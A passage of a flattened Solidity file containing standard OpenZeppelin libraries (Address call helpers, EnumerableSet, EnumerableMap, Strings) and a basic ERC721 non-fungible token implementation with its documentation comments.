* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value)
private
view
returns (bool)
{
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index)
private
view
returns (bytes32)
{
require(
set._values.length > index,
"EnumerableSet: index out of bounds"
);
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value)
internal
returns (bool)
{
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value)
internal
returns (bool)
{
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value)
internal
view
returns (bool)
{
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index)
internal
view
returns (bytes32)
{
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value)
internal
returns (bool)
{
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value)
internal
returns (bool)
{
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value)
internal
view
returns (bool)
{
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index)
internal
view
returns (address)
{
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value)
internal
returns (bool)
{
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value)
internal
view
returns (bool)
{
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index)
internal
view
returns (uint256)
{
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/utils/EnumerableMap.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(
Map storage map,
bytes32 key,
bytes32 value
) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) {
// Equivalent to !contains(map, key)
map._entries.push(MapEntry({_key: key, _value: value}));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) {
// Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key)
private
view
returns (bool)
{
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index)
private
view
returns (bytes32, bytes32)
{
require(
map._entries.length > index,
"EnumerableMap: index out of bounds"
);
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key)
private
view
returns (bool, bytes32)
{
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(
Map storage map,
bytes32 key,
string memory errorMessage
) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(
UintToAddressMap storage map,
uint256 key,
address value
) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key)
internal
returns (bool)
{
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key)
internal
view
returns (bool)
{
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map)
internal
view
returns (uint256)
{
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index)
internal
view
returns (uint256, address)
{
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key)
internal
view
returns (bool, address)
{
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key)
internal
view
returns (address)
{
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(
UintToAddressMap storage map,
uint256 key,
string memory errorMessage
) internal view returns (address) {
return
address(
uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))
);
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + (temp % 10)));
temp /= 10;
}
return string(buffer);
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is
Context,
ERC165,
IERC721,
IERC721Metadata,
IERC721Enumerable
{
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping(address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner)
public
view
virtual
override
returns (uint256)
{
require(
owner != address(0),
"ERC721: balance query for the zero address"
);
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId)
public
view
virtual
override
returns (address)
{
return
_tokenOwners.get(
tokenId,
"ERC721: owner query for nonexistent token"
);
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
virtual
override
returns (uint256)
{
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index)
public
view
virtual
override
returns (uint256)
{
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner ||
ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId)
public
view
virtual
override
returns (address)
{
require(
_exists(tokenId),
"ERC721: approved query for nonexistent token"
);
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
virtual
returns (bool)
{
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
address owner = ERC721.ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId); // internal owner
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(
ERC721.ownerOf(tokenId) == from,
"ERC721: transfer of token that is not own"
); // internal owner
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI)
internal
virtual
{
require(
_exists(tokenId),
"ERC721Metadata: URI set of nonexistent token"
);
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(
abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
),
"ERC721: transfer to non ERC721Receiver implementer"
);
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits an {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
